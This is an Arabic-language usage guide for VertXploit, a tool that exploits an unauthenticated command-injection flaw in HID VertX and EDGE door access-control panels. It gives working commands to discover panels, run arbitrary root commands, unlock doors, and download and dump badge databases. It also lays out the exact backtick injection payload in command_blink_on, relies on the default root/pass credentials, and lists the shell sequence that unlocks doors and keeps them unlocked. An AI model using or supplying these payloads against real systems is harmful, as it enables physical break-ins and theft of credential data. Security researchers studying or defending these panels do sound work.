
استغلال أنظمة التحكم في الوصول HID VertX وEDGE
استغلال أنظمة التحكم في الدخول HID VertX و EDGE
VertXploit هي أداة يمكن استخدامها لاستغلال أنظمة التحكم في الدخول HID VertX و EDGE.
توجد ثغرة داخل خدمة discoveryd، التي تفشل في تعقيم بيانات المستخدم قبل تنفيذ استدعاءات النظام. وهذا يسمح بتنفيذ تعليمات برمجية عشوائية على أنظمة التحكم في الدخول HID VertX و EDGE دون الحاجة إلى المصادقة. راجع قسم حقن الأوامر لمزيد من المعلومات.
يمكن لـ VertXploit فتح أو قفل الأبواب المتصلة بنظام التحكم في الدخول، وتنزيل قواعد البيانات التي تحتوي على جميع بطاقات التحكم في الدخول الموفرة/المخزنة مؤقتًا، وتنفيذ أوامر عشوائية بصلاحيات الجذر (root) على نظام VertX، إذا كان عرضة للثغرة.
إذا تم تحديث البرنامج الثابت لوحدة تحكم VertX مؤخرًا، فسيحاول vertXploit فتح أو قفل الأبواب من خلال وحدة التحكم عبر الويب باستخدام اسم المستخدم وكلمة المرور الافتراضيين أو المقدمين من المستخدم.
شغّل pip install -r requirements.txt لتثبيت وحدات بايثون المطلوبة.
شغّل ./vertXploit.py -h لإظهار قائمة المساعدة، أو ./vertXploit.py ACTION -h لإظهار المساعدة لإجراء معين.
شغّل vertXploit مع وسيط الإجراء discover فقط لاكتشاف جميع أنظمة التحكم في الدخول HID على شبكة البث المحلية. إذا تم توفير عنوان IP مع الوسيط الاختياري --ip IP، فسيستخدم vertXploit python-nmap لفحص نطاق الشبكة /24 لذلك العنوان بحثًا عن الأنظمة التي لديها المنفذ 4050 مفتوحًا. سيرسل VertXploit بعد ذلك حزمة اكتشاف UDP إلى عنوان IP المحدد لتحديد ما إذا كان هذا النظام لوحة تحكم في الدخول HID.
مثال:
./vertXploit.py discover
./vertXploit.py discover --ip 10.1.10.5
بمجرد اكتشاف وحدة تحكم، شغّل vertXploit مع وسيط الإجراء fingerprint وعنوان IP الخاص بوحدة التحكم في الدخول لإرجاع معلومات مفصلة حول لوحة التحكم في الدخول.
مثال:
./vertXploit.py fingerprint 10.1.10.5
لفتح أو قفل الأبواب المتصلة بلوحة التحكم في الدخول، شغّل vertXploit مع وسيط الإجراء unlock أو lock وعنوان IP الخاص بوحدة التحكم. إذا كانت وحدة التحكم غير عرضة لاستغلال حقن الأوامر، فسيحاول vertXploit فتح أو قفل الأبواب من خلال وحدة التحكم عبر الويب. تستخدم هذه الطريقة اسم المستخدم الافتراضي 'root' وكلمة المرور الافتراضية 'pass'، أو يمكنك توفير اسم المستخدم وكلمة المرور الخاصة بك مع الوسيطين --username USERNAME و --password PASSWORD.
مثال:
./vertXploit.py unlock 10.1.10.5
./vertXploit.py unlock 10.1.10.5 --username test --password test
يمكن تنفيذ أوامر Linux عشوائية على نظام التحكم في الدخول باستخدام وسيط الإجراء raw وعنوان IP الخاص بوحدة التحكم. قد يفشل تنفيذ الأمر إذا لم يكن مثبتًا على وحدة التحكم (Python, Perl, Ruby, إلخ). كإثبات بسيط على المفهوم، يبدو أن أمر 'ping' الأصلي في Linux يعمل على جميع موديلات VertX و EDGE التي تم اختبارها.
مثال:
./vertXploit.py raw 10.1.10.5 'ping -c 5 10.1.10.39'
لتنزيل قواعد بيانات البطاقات الخاصة بوحدة التحكم، شغّل vertXploit مع وسيط الإجراء download وعنوان IP الخاص بوحدة التحكم. يجب أن تكون وحدة التحكم عرضة لثغرة حقن الأوامر ويجب أن تكون قادرًا على الوصول إلى واجهة الويب الخاصة بوحدة التحكم لتنزيل قاعدتي بيانات البطاقات. يتم استخدام اسم المستخدم الافتراضي 'root' وكلمة المرور الافتراضية 'pass' للمصادقة عبر الويب، أو يمكنك توفير اسم المستخدم وكلمة المرور الخاصة بك مع الوسيطين --username USERNAME و --password PASSWORD.
مثال:
./vertXploit.py download 10.1.10.5
./vertXploit.py download 10.1.10.5 --username test --password test
بعد تنزيل قاعدتي البيانات 'IdentDB' و 'AccessDB' من وحدة التحكم، استخدم وسيط الإجراء dump لتفريغ محتويات قواعد البيانات. يمكنك اختياريًا تحديد مسار الملف المحلي لقواعد البيانات مع الوسيط --path PATH.
مثال:
./vertXploit.py dump
./vertXploit.py dump --path /root/VertX/DBs/
عادةً ما يتم تثبيت وحدات تحكم متعددة من VertX أو EDGE معًا في نفس المكان. يمكن إرسال أمر التشخيص command_blink_on إلى وحدة تحكم محددة مما يتسبب في وميض مؤشر "Comm" الفعلي للوحة وإطفائه لتحديد هويتها بصريًا. عادةً ما ينتهي هذا الأمر بعدد المرات التي يجب أن يومض فيها المؤشر، في الحالة التالية، 30 مرة.
command_blink_on;044;00:11:22:33:44:55;30;
من خلال استبدال عدد الومضات بأمر Linux محاط بعلامتي backticks، سيتم تنفيذ الأمر على وحدة التحكم في الدخول، بصلاحيات الجذر (root).
command_blink_on;044;00:11:22:33:44:55;`ping -c 5 10.1.10.39`;
لفتح وقفل الأبواب عن بُعد المتصلة بنظام التحكم في الدخول، يتم إرسال الأوامر إلى /tmp/a. يتم ذلك بسبب وجود حد أقصى للطول يبلغ 41 حرفًا، لا يشمل علامتي backticks، يمكن إرسالها إلى وحدة التحكم. ملاحظة: يتم استخدام echo بدلاً من printf لأن بعض وحدات تحكم VertX القديمة تعمل بنظام BusyBox < 1.0.1 الذي لا يتضمن printf.
تتم بعد ذلك إزالة الأسطر الجديدة الناتجة عن إرسال الأوامر إلى الملف عن طريق تشغيل tr -d '\n' < /tmp/a > /tmp/b ويتم إدراج الأسطر الجديدة المقصودة عن طريق تشغيل tr '!' '\n' < /tmp/b > /tmp/a.
ثم يتم تنفيذ السكربت /tmp/a ويتم حذف كلا الملفين. يوضح ما يلي الأوامر التي يتم إرسالها إلى /tmp/a عند إرسال أوامر الفتح والقفل إلى وحدة تحكم VertX.
# Set QUERY_STRING to the door unlock value
export QUERY_STRING="?ID=0&BoardType=VXXX&Description=Strike&Relay=1&Action=1"
# Run 'diagnostics_execute.cgi' script
/mnt/apps/web/cgi-bin/diagnostics_execute.cgi
# Remove executable permissions to prevent the door from locking
chmod -x /mnt/apps/web/cgi-bin/diagnostics_execute.cgi
# Enable executable permissions
chmod +x /mnt/apps/web/cgi-bin/diagnostics_execute.cgi
# Set QUERY_STRING to the door lock value
export QUERY_STRING="?ID=0&BoardType=VXXX&Description=Strike&Relay=1&Action=0"
# Run 'diagnostics_execute.cgi' script
/mnt/apps/web/cgi-bin/diagnostics_execute.cgi